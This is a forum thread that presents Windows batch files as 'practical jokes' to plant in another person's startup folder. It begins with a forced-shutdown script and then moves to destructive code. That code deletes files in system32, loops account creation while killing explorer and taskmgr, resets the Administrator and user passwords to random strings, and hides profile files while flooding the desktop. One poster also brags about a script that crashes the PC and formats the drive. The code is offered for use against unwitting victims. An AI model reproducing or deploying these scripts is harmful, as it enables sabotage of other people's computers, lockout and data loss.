Practical Jokes via Computer

[jokersarewild]

Well, phreak has his "Helpful" stuff. I take a different route.

This is a good one that will **** off whoever this is happening to.

1. Make a new Text file.

2. Name it haha.bat

3. Right Click>Edit

4. copy and paste this text EXACTLY:

@echo off

shutdown -s -t 15 -c "Your Text Here."

pause

5. Change the "15" to however long you want before the shutdown. Don't change it to 0 unless you have access to the Administrator account in safe mode.

6. Change "Your Text Here." to anything you want.

7. Put it in their startup folder.

If you want a more cruel version, I will post the code.

 

[Feckless Wench]

I see many uses for that......LMAO

 

[phreakwars]

I have one that will crash the PC then format the hard drive.. ha ha... pretty funny huh ??

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[jokersarewild]

I have one that will crash the PC then format the hard drive.. ha ha... pretty funny huh ?? .

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How do you accomplish making your PC run a batch file before Windows starts, like it does with PartitionMagic?

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But why crash the PC when you can shut it down without giving them time to do anything?

And if you can make the computer boot up in DOS with XP installed, how the **** do you do it?

Post the code for this PC crashing, hard drive reformatting batch file that you have.

 

[Hugh G. Rekshun]

Well, phreak has his "Helpful" stuff. I take a different route.
This is a good one that will **** off whoever this is happening to.

1. Make a new Text file.

2. Name it haha.bat

3. Right Click>Edit

4. copy and paste this text EXACTLY:

@echo off

shutdown -s -t 15 -c "Your Text Here."

pause

5. Change the "15" to however long you want before the shutdown. Don't change it to 0 unless you have access to the Administrator account in safe mode.

6. Change "Your Text Here." to anything you want.

7. Put it in their startup folder.

If you want a more cruel version, I will post the code.

Please...post the code

 

[jokersarewild]

OK Hugh, I will.

In that file, put:

@echo off

attrib -r -h -s %systemroot%\system32\ .

REM This Next one is just plain mean...he he he.

del /q %systemroot%\system32\ .

:******

net user /add Computer_God_%random%

tskill explorer

tskill taskmgr

goto ******

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It deletes everything that isn't a directory inside their system32 folder, and adds up to 31,000 accounts or so (or however many XP can take), depending on how slow the computer user is.

Or, if you want to be a total *******...

net user Administrator %random%_%random_%random%_%random%

net user %USERNAME% %random%_%random_%random%_%random%

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add that before ":******"

It makes the Administrator password a string of random numbers followed by "_". It does the same for the person logged on.

Or, if the person that you are doing this to has no computer knowledge whatsoever...

(this is a new .bat file)

attrib +s +h %USERPROFILE%\ .

:dumbass

copy "%USERPROFILE%\Start Menu\ . %USERPROFILE%\Desktop\%random%_dumbass.txt"

goto dumbass

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This hides anything that isn't in a directory in their "My Documents" folder. And puts a lot of copies of nothing on their desktop.